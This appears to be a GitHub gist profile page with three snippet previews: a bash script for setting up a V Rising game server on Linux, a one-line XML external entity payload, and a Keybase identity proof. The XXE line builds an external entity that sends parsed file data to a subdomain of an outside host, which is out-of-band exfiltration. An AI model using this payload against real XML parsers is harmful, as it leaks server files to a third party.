Skip to content

Instantly share code, notes, and snippets.

View MOBergeron's full-sized avatar

Marc Olivier Bergeron MOBergeron

View GitHub Profile
#!/bin/bash
# Based on https://gameplay.tips/guides/v-rising-running-a-server-on-centos-linux.html and Steam wiki.
apt update && apt upgrade -y && apt install software-properties-common -y && add-apt-repository multiverse && dpkg --add-architecture i386 && apt update && apt install -y lib32gcc1 lib32gcc-s1 steamcmd wine xvfb steamcmd
useradd steam
mkdir -p /home/steam
chown -R steam: /home/steam/
sed -i 's/steam:x:1000:1000::\/home\/steam:\/bin\/sh/steam:x:1000:1000::\/home\/steam:\/bin\/bash/g' /etc/passwd
# Execute as steam
su steam
<!ENTITY all '%start;%goodies;<!ENTITY exfil SYSTEM "http://%goodies;.621531f7d65c2d1617f5.d.zhack.ca">%exfil;%end;'>

Keybase proof

I hereby claim:

  • I am mobergeron on github.
  • I am mbergeron (https://keybase.io/mbergeron) on keybase.
  • I have a public key whose fingerprint is D359 8792 E806 2FF5 7826 9803 9519 05CE 6295 0B19

To claim this, I am signing this object: